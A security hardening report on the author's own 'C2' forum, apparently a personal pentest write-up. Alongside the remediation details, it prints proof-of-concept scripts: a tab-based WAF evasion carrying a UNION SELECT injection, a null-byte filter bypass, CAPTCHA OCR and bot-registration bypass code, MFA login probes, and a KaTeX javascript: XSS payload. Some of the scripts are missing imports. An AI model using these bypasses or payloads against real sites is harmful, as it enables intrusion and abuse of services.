C2 Forum Hardening \u2014 Argon2id, Invisible Honeypot & XSS Double-Purification

Author
Eduardo Camarillo [Noir0x63]
Date
Version
VERIFIED v2.2

Quick Answer

Architectural analysis and implementation walkthrough for securing the C2 forum. Transitioning from scrypt to Argon2id, transforming SVG captcha into an invisible honeypot, double DOMPurify chain for KaTeX mathematical XSS resilience, and render.yaml IaC specification.

Key Takeaways

  • Category: C2 Forum
  • Version: VERIFIED v2.2
  • Published: 2026-07-03
  • Keywords: Argon2id password hashing, scrypt to Argon2id migration, invisible honeypot, CAPTCHA removal, XSS double purification

C2 Forum Hardening \u2014 Argon2id, Invisible Honeypot & XSS Double-Purification

Status:Estado: SECURE v2.2
Target:Objetivo: c2.noir0x63.org
Author:Autor: Eduardo Camarillo [Noir0x63]

1. Context

This report documents the principal hardening measures applied in the transition from v2.0 to v2.2: rate limiting race condition fix, password hashing migration to Argon2id, replacement of the SVG CAPTCHA with an invisible honeypot, TOTP secret persistence architecture, and Infrastructure as Code specification for cloud deployment.

2. Rate Limiting Architecture

2.1 Information Leak

The blackbox audit found that the rate limiter was exposing detailed state information through HTTP response headers. By sending sequential login requests, an unauthenticated attacker could read RateLimit-Remaining, RateLimit-Reset, and RateLimit-Policy headers. This leaked the remaining attempt budget (10/15min), the window reset timer, and the exact policy configuration \u2014 information enabling precise brute-force timing attacks that stay just under the limit.

2.2 Three-Layer Defense

The authentication system implements a layered rate limiting architecture to prevent brute force, credential stuffing, and DoS attacks. Three independent limiters operate at different granularities:

  • // LAYER 1 \u2014 structuralLimiter: Limits all requests to /api/auth/* to a maximum of 200 requests per 15 minutes per IP. This acts as a pre-gate flood control, stopping garbage DoS requests before they reach the authentication logic.
  • // LAYER 2 \u2014 validate(): Validates the format of codename and authKey fields. Requests with invalid formats are rejected with a 400 status immediately, without consuming rate limit quota or performing any cryptographic work.
  • // LAYER 3 \u2014 authLimiter: Restricts to 10 failed attempts per 15 minutes per IP, applied only to requests with valid format. This prevents brute force while allowing legitimate retries.

2.2 Race Condition

The whitebox review (Finding 1.1) identified a race condition in the SQLiteStore.prototype.increment method. The implementation performed a non-atomic read-then-write: it executed db.get to check current hits and reset time, followed by an INSERT OR REPLACE or UPDATE. Under concurrent requests, the async callbacks would interleave in the Node.js event loop before any write completed \u2014 a classic Lost Update. Multiple requests reading the same low hit count would all pass the rate limit check, bypassing the 10-attempt cap.

The fix made the increment operation atomic by using a single SQLite transaction for the read and write phases, preventing the interleaving that allowed the race.

2.3 Information Leak Suppression

The rate limiter was configured with standardHeaders: false and legacyHeaders: false, suppressing the RateLimit-Remaining and related response headers. Without this suppression, an unauthenticated attacker could determine the exact remaining attempt budget, the policy window, and the reset timer \u2014 information that enables precise brute-force timing attacks that stay just under the limit.

// evidence/ratelimit_probe.sh (Rate Limit Discovery)
for i in $(seq 1 11); do RESP=$(curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code} RateLimit-Remaining: %{header[ratelimit-remaining]}" \ -X POST "https://c2.noir0x63.org/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"codename":"test","password":"abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789"}') echo "$RESP" done
// evidence/output (Rate Limit Discovery)
Attempt 1: HTTP 401 RateLimit-Remaining: 9 Attempt 2: HTTP 401 RateLimit-Remaining: 8 Attempt 3: HTTP 401 RateLimit-Remaining: 7 Attempt 4: HTTP 401 RateLimit-Remaining: 6 Attempt 5: HTTP 401 RateLimit-Remaining: 5 Attempt 6: HTTP 401 RateLimit-Remaining: 4 Attempt 7: HTTP 401 RateLimit-Remaining: 3 Attempt 8: HTTP 401 RateLimit-Remaining: 2 Attempt 9: HTTP 401 RateLimit-Remaining: 1 Attempt 10: HTTP 401 RateLimit-Remaining: 0 Attempt 11: HTTP 429 RateLimit-Remaining: 0

2.4 Null Byte Search Filter Bypass (C2-001)

The blackbox audit found that the GET /api/threads?search= parameter did not properly sanitize null byte characters. Sending search=%00 bypassed the SQL LIKE filter and returned all threads unfiltered, including shadowbanned content. A normal filtered search returned [] (2 bytes) while the null byte bypass returned the full thread list (3876 bytes). The fix implemented a global middleware that intercepts and blocks any request containing %00 or \\x00 in the query string, returning a 400 status.

// poc/nullbyte_bypass.sh (Search Filter Evasion)
curl -s "https://c2.noir0x63.org/api/threads?search=xyz" curl -s "https://c2.noir0x63.org/api/threads?search=%00"

2.5 WAF Evasion via Tab Injection (C2-002)

The Cloudflare WAF blocked SQL keywords like UNION SELECT when presented as contiguous tokens. Inserting a tab character (%09) between the keywords bypassed the WAF signature detection while the backend normalized the tab to whitespace before processing.

// poc/waf_bypass.sh (Tab Injection WAF Evasion)
curl -s -o /dev/null -w "%{http_code}" \ "https://c2.noir0x63.org/api/threads?search=%00%27%20UNION%20SELECT%201--" curl -s \ "https://c2.noir0x63.org/api/threads?search=%00%27%09UNION%09SELECT%091--"

3. Password Hashing: scrypt to Argon2id

3.1 Threadpool Exhaustion (Finding 1.6)

The finding was documented as Finding 1.6 (\u201cServer Threadpool Blocking\u201d). An attacker could send 5 to 10 concurrent login requests and consume the entire libuv pool, freezing all other I/O operations. This made the three-layer rate limiting architecture ineffective during peak load because the act of verifying a single request\u2019s credentials already blocked the server from processing any other traffic.

3.2 Migration to Argon2id

The password hashing algorithm was migrated from scrypt to Argon2id, the OWASP-recommended standard, using the argon2 native Node.js binding. Argon2id provides built-in resistance against side-channel timing attacks and GPU-based parallel cracking. The migration followed a zero-downtime pattern:

  • // READ-OLD, WRITE-NEW: The hash-worker.js module was refactored to support both algorithms. Existing accounts retain their scrypt hash. On first successful login, the system validates the old scrypt hash, then automatically rehashes the password using Argon2id and updates the database record. New registrations use Argon2id by default.
  • // CONFIGURABLE COST: Argon2id parameters are set via environment variables with sane defaults (memoryCost=65536, timeCost=3, parallelism=2), allowing adjustment per deployment without code changes.

3.3 Side Effect: Threadpool Liberation

While not the primary motivation for the migration, the switch from scrypt to Argon2id had the architectural side effect of resolving the libuv threadpool exhaustion finding (Finding 1.6). Unlike scrypt, which blocks the shared libuv threadpool (default 4 threads) shared with all other I/O operations, Argon2id delegates its workload to its own dedicated native worker pool. This means password verification no longer competes with database queries, network I/O, or the rate limiter\u2019s own database access for threadpool capacity. The three-layer rate limiting system can now operate as designed, because verifying credentials no longer blocks the server\u2019s ability to continue processing requests.

4. CAPTCHA to Invisible Honeypot

4.1 Problem

The SVG vector CAPTCHA, while visually challenging, was proven bypassable through source code analysis. The character path templates were embedded in the server code, and the coordinate jitter of +/- 0.4px was insufficient to prevent deterministic matching. Additionally, the visual CAPTCHA created user friction: humans had to decode distorted characters, and mobile users experienced zoom issues.

4.2 Implementation

The visual CAPTCHA was replaced with an invisible honeypot system. The CAPTCHA container is visually hidden using CSS (display:none, off-screen positioning). The input field remains in the HTML DOM but is invisible to human users. The backend validation logic was inverted: instead of checking that the captchaInput matches the expected text, the server rejects any registration where captchaInput is non-empty. Automated scrapers and scripted registrations that fill all visible form fields will populate the honeypot field and be rejected with a REGISTRATION_REJECTED error. The Proof-of-Work challenge continues to run client-side as a secondary bot deterrent.

This approach eliminates CAPTCHA-related user friction entirely while maintaining the same level of bot protection for the majority of automated attackers. Targeted attackers with knowledge of the honeypot field could still bypass it, but the PoW and rate limiting provide layered defense.

// evidence/api_captcha.json (CAPTCHA Request Response)
{ "captchaSvg": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmci...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a...", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "userField": "v_8a1f3c2b", "passwordField": "v_4d7e9f1a", "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" }
// poc/pow_solver.py (PoW Solver)
import hashlib, sys, time challenge = sys.argv[1] difficulty = int(sys.argv[2]) target = "0" * difficulty nonce = 0 start = time.time() while True: data = challenge + str(nonce) h = hashlib.sha256(data.encode()).hexdigest() if h.startswith(target): elapsed = time.time() - start print(f"nonce={nonce}") print(f"hash={h}") print(f"time={elapsed:.3f}s") break nonce += 1
// evidence/captcha_ocr.py (SVG to OCR Pipeline)
import requests, base64, re, subprocess import cv2, numpy as np, pytesseract def solve_captcha(): resp = requests.get("https://c2.noir0x63.org/api/auth/captcha", timeout=15) data = resp.json() svg = base64.b64decode(data["captchaSvg"]).decode() svg = svg.replace("#050505", "#ffffff") for c in ["#003f1f", "#006633", "#007f3f", "#00cc44"]: svg = svg.replace(c, "#000000") with open(os.environ["TEMP"] + "/captcha.svg", "w") as f: f.write(svg) subprocess.run([ EDGE, "--headless", "--disable-gpu", "--window-size=720,240", "--screenshot=" + os.environ["TEMP"] + "/captcha_output.png", "file:///" + os.environ["TEMP"] + "/captcha.svg" ], capture_output=True, timeout=15) img = cv2.imread(os.environ["TEMP"] + "/captcha_output.png", cv2.IMREAD_GRAYSCALE) _, th = cv2.threshold(img, 128, 255, cv2.THRESH_BINARY_INV) for psm in [7, 8, 11, 13]: text = pytesseract.image_to_string(th, config=f"--psm {psm}").strip() print(f"PSM {psm}: {text}")
// poc/c2_register_bypass.py (Registration Bypass Pipeline)
import requests, json, hashlib, base64, os from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.primitives.ciphers.aead import AESGCM API = "https://c2.noir0x63.org/api" S = requests.Session() def solve_pow(challenge, difficulty): target = "0" * difficulty; nonce = 0 while True: h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest() if h.startswith(target): return str(nonce) nonce += 1 def derive_keys(passphrase, codename): name = codename.lower() auth_salt = f"c2.noir0x63.org:{name}:auth:v2".encode() enc_salt = f"c2.noir0x63.org:{name}:enc:v2".encode() auth_kdf = PBKDF2HMAC(hashes.SHA256(), 32, auth_salt, 600000) enc_kdf = PBKDF2HMAC(hashes.SHA256(), 32, enc_salt, 600000) return auth_kdf.derive(passphrase.encode()).hex(), enc_kdf.derive(passphrase.encode()) def generate_keys(enc_key): priv = ec.generate_private_key(ec.SECP256R1()) pub_spki = base64.b64encode(priv.public_key().public_bytes( serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo)).decode() pkcs8 = priv.private_bytes(serialization.Encoding.DER, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) iv = os.urandom(12) enc_priv = base64.b64encode(iv + AESGCM(enc_key).encrypt(iv, pkcs8, None)).decode() return pub_spki, enc_priv captcha = S.get(f"{API}/auth/captcha", timeout=15).json() pow_salt = solve_pow(captcha["powChallenge"], captcha["powDifficulty"]) auth_key, enc_key = derive_keys("Pentest2026!", "BotTest666") pub_spki, enc_priv = generate_keys(enc_key) reg_body = { "codename": "BotTest666", "password": auth_key, "publicKeySPKI": pub_spki, "encryptedPrivateKey": enc_priv, "captchaInput": captcha_text, "captchaToken": captcha["captchaToken"], "powChallenge": captcha["powChallenge"], "powSalt": pow_salt, "hpToken": captcha["hpToken"], "captchaIssuedAt": captcha["captchaIssuedAt"], **{f["name"]: "" for f in captcha["honeypotFields"]}, } resp = S.post(f"{API}/auth/register", json=reg_body, timeout=15) print(resp.status_code, resp.json())

5. 2FA/TOTP Implementation and Hardening

5.1 Discovery \u2014 MFA Flow and Source Review

The MFA flow was identified through API probing. A login request to POST /api/auth/login returned MFA_REQUIRED with a single-use mfaToken, leading to the discovery of the /api/auth/mfa/submit endpoint that accepts the mfaToken and mfaCode. Source code review of server.js also revealed that the captcha endpoint included a mfaField parameter alongside userField and passwordField \u2014 randomized field names that change on every request to prevent automated form submission.

The captcha response includes three randomized field names. The mfaField is present even for accounts without 2FA enabled, preventing attackers from detecting which accounts have 2FA by observing the presence or absence of the MFA parameter.

5.2 MFA Login Flow

The C2 forum implements Time-based One-Time Password (TOTP) authentication as a second factor. When a user has 2FA enabled, the standard login process is extended with a verification step. After submitting valid credentials to POST /api/auth/login, the server returns a MFA_REQUIRED status with a single-use mfaToken. The client then submits the current TOTP code from the user's authenticator application via POST /api/auth/mfa/submit along with the mfaToken and mfaCode. The server validates the TOTP code against the user's stored secret. On success, the session token is returned. On failure, the client is prompted to retry or fall back to recovery codes.

To prevent automated credential stuffing and form submission, the login endpoint uses dynamically randomized field names. The captcha endpoint response includes:

  • // userField: Randomized name for the username/codename field. Changes on every captcha request.
  • // passwordField: Randomized name for the password/authKey field.
  • // mfaField: Randomized name for the MFA code field. Present even for users without 2FA enabled, preventing attackers from detecting which accounts have 2FA.

5.3 Enrollment and Key Storage

Users enroll in 2FA from the profile settings page. The feature is presented as a card in the user interface showing the current 2FA status and options to enable or disable. When enabling, the server generates a TOTP secret using a cryptographically secure random generator. The secret is encoded as an otpauth:// URI containing the issuer (C2 Forum), the user's codename, and the base32-encoded secret. This URI is rendered as a QR code for scanning with standard authenticator applications (Google Authenticator, Authy, Microsoft Authenticator) and also displayed as a manual setup key. The user confirms enrollment by submitting the current TOTP code, which the server validates before enabling 2FA on the account.

5.4 Cryptographic Secret Protection

TOTP secrets are encrypted at rest before storage in SQLite. The encryption uses AES-256-GCM with an initialization vector (IV) generated per secret. The encryption key is derived from the TOTP_PEPPER environment variable, which is generated once during initial server setup and stored in the .env file. The encrypted secret, IV, and authentication tag are stored together in the database. On each 2FA verification, the server reads the ciphertext from the database, decrypts it using the TOTP_PEPPER, and validates the TOTP code against the recovered plaintext secret.

5.5 Architectural Bug and Recovery

A critical architectural flaw was discovered in the original TOTP secret storage implementation. The server used a volatile in-memory key to encrypt 2FA secrets before persisting them to SQLite. On every server restart, this key was regenerated from scratch, making all stored TOTP secrets unrecoverable. Any user with 2FA enabled would be permanently locked out after a server reboot or redeployment, unable to complete the MFA step of the login flow. Additionally, the 2FA settings card in the frontend was leaking information about the 2FA enrollment state, which was corrected as part of the hardening.

The fix replaced the volatile in-memory key with the TOTP_PEPPER environment variable, stored persistently in .env and regenerated only manually when rotation is required. The TOTP secrets are now encrypted deterministically: the same plaintext secret always produces valid ciphertext that can be decrypted after any number of server restarts. After applying the fix, the 2FA state for the existing Noir account was reset to allow secure re-binding of the authenticator application. The TOTP_PEPPER variable is also auto-generated with a secure random value during Render deployment via the IaC render.yaml specification.

// poc/login_v2_bypass.py (MFA Login Flow Attempt)
import requests API = "https://c2.noir0x63.org/api" S = requests.Session() c = S.get(f"{API}/auth/captcha", timeout=15).json() uf = c["userField"] pf = c["passwordField"] mf = c["mfaField"] body = { uf: "Noir", pf: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", mf: "", "captchaToken": c["captchaToken"], "captchaInput": "TEST", "powChallenge": c["powChallenge"], "powSalt": "172497", } resp = S.post(f"{API}/auth/login", json=body, timeout=15) print(resp.status_code, resp.json()) if resp.json().get("status") == "MFA_REQUIRED": mfa_token = resp.json()["mfaToken"] mfa_body = { "codename": "Noir", "mfaToken": mfa_token, "mfaCode": "000000", } resp2 = S.post(f"{API}/auth/mfa/submit", json=mfa_body, timeout=15) print(f"MFA submit: {resp2.status_code} {resp2.json()}")
// evidence/login_bypass.py (Dynamic Field Exploration)
import requests, hashlib, time API = "https://c2.noir0x63.org/api" data = requests.get(f"{API}/auth/captcha", timeout=15).json() print(f"userField: {data['userField']}") print(f"passwordField: {data['passwordField']}") print(f"mfaField: {data['mfaField']}") resp = requests.post(f"{API}/auth/login", json={ data['userField']: "Noir", data['passwordField']: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", data['mfaField']: "", "captchaToken": data['captchaToken'], "captchaInput": "TEST", "powChallenge": data['powChallenge'], "powSalt": str(172497), }, timeout=15) print(f"Status: {resp.status_code}")

6. KaTeX XSS Defense Verification

6.1 XSS Audit

The client-side application was audited for XSS vulnerabilities (documented in the XSS Audit Report). The analysis found the frontend to be resistant to both DOM-based and reflected XSS. Multiple layers of protection are in place: user-controlled data is injected via .textContent instead of innerHTML, all rendered content passes through DOMPurify, and a fallback escapeHtml function handles edge cases where the sanitizer pipeline is bypassed. The XSS audit result was clean.

6.2 The KaTeX Mutation Vector

The C2 forum allows rich content through Markdown (via marked) and mathematical LaTeX rendering (via KaTeX). This combination creates a known XSS surface: KaTeX can transform apparently safe HTML into executable vectors. For example, the LaTeX command \\href{javascript:...} can generate anchor elements with javascript: URIs after rendering, which the initial DOMPurify pass would not catch because the dangerous content is generated during the KaTeX rendering phase, not present in the original Markdown output.

6.3 Double-Pass Architecture

The client-side rendering pipeline implements a two-pass DOMPurify sanitization chain:

  • // PASS 1: The raw HTML output from the Markdown parser is sanitized through DOMPurify. This removes standard XSS vectors: script tags, event handlers (onerror, onclick, onload), javascript: pseudo-protocols, and known mutation payloads.
  • // GENERATION: The clean DOM is scanned for LaTeX math blocks, which are passed to KaTeX for rendering. KaTeX generates HTML output that may contain anchors or attributes derived from user-supplied LaTeX commands.
  • // PASS 2: The final DOM, now containing KaTeX-generated HTML, undergoes a second DOMPurify sanitization pass. This catches any mutation-based XSS that KaTeX introduced, such as javascript: URIs in href attributes or inline event handlers that were not present in the original Markdown.

This double-pass architecture is complemented by the use of textContent instead of innerHTML for non-rendered user data (usernames, titles, metadata), providing defense in depth against stored and reflected XSS. The approach follows the principle that any content pipeline involving intermediate transformations must validate output at every stage.

// evidence/katex_xss_test.sh (KaTeX Mutation XSS Vector)
curl -s -X POST "https://c2.noir0x63.org/api/threads" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "title": "KaTeX XSS Test", "content": "\\href{javascript:alert(1)}{Click me}", "category": "web-security", "signature": "...", "nonce": "...", "timestamp": "..." }'

7. Infrastructure as Code: render.yaml

The deployment specification was codified as a render.yaml file to enable reproducible cloud deployments on Render. Key infrastructure decisions encoded in the specification:

  • // PERSISTENT DISK: A 1GB persistent disk (c2-data) mounted at /data prevents SQLite database loss on container restarts or deployments. The DATA_DIR environment variable points the application to this mounted volume.
  • // WEB SERVICE CONFIG: The service is defined as a web service on the Render infrastructure, with the start command set to node server.js. The Cloudflare tunnel component is excluded for cloud deployment, as Render provides native HTTPS termination.
  • // ENVIRONMENT VARIABLES: Sensitive values (TOTP_PEPPER, session secrets) are defined as Render environment variables rather than committed to version control. The TOTP_PEPPER variable is auto-generated with a secure random value on first deployment.

The IaC specification was pushed to the repository under commit d9239b2. The full repository is available at github.com/Noir0x63/Command-Control-Forum.

// infrastructure/render.yaml (IaC Specification)
services: - type: web name: c2-forum env: node buildCommand: npm install startCommand: node server.js envVars: - key: DATA_DIR value: /data - key: TOTP_PEPPER generateValue: true disk: name: c2-data mountPath: /data sizeGB: 1

8. Verification and Results

Vector Before (v2.0) After (v2.2)
Rate limit race condition Vulnerable (lost updates, bypassable concurrent) Fixed (atomic SQLite operations, suppressed headers)
Null byte search bypass Vulnerable (%00 bypasses LIKE filter, returns all threads) Fixed (global sanitization middleware, blocks %00/\\x00)
DoS via scrypt threadpool Vulnerable (4 threads, N=131072) Mitigated (Argon2id, dedicated worker pool)
CAPTCHA bypass via template matching Vulnerable (deterministic path solver) Mitigated (invisible honeypot, no text to match)
XSS via KaTeX mutation Existing (DOMPurify, textContent, escapeHtml) Verified (double DOMPurify chain, audit clean)
TOTP secret persistence Critical (volatile in-memory key, lockout on restart) Fixed (TOTP_PEPPER env var, persistent encryption)
Deployment reproducibility Manual configuration IaC via render.yaml, persistent disk, env vars

All seven hardening vectors were verified in staging and promoted to production on 2026-07-03. System state: SECURE v2.2.

9. Architectural Summary

The hardening cycle addressed seven distinct layers of the application stack. The input validation layer blocked null byte injection and WAF evasions via global sanitization middleware. The rate limiting layer fixed a race condition in the SQLite-backed limiter and suppressed information-leaking headers. The authentication layer migrated from scrypt to Argon2id, eliminating a trivial DoS vector while improving resistance to GPU-based password cracking. The MFA layer resolved the TOTP secret persistence flaw, replacing a volatile in-memory encryption key with a stable environment variable to prevent permanent user lockout on server restarts. The anti-bot layer replaced a bypassable visual CAPTCHA with an invisible honeypot, reducing user friction while maintaining automated registration protection. The content rendering layer verified the double DOMPurify chain that closes mutation-based XSS vectors from KaTeX. The deployment layer codified infrastructure as render.yaml, ensuring reproducible and secure cloud deployments with persistent storage.

Each remediation was grounded in specific findings from the whitebox and blackbox audit sessions. The approach prioritized architectural fixes over point patches: replacing a fundamentally flawed algorithm (scrypt) rather than increasing threadpool size, replacing a broken CAPTCHA model rather than adding more distortion, implementing persistent TOTP secret encryption rather than relying on volatile memory, and constructing a robust sanitization pipeline rather than maintaining a blocklist of LaTeX commands. The result is a v2.2 system with measurable security improvements across authentication, MFA, anti-automation, content security, and deployment infrastructure.

Related Articles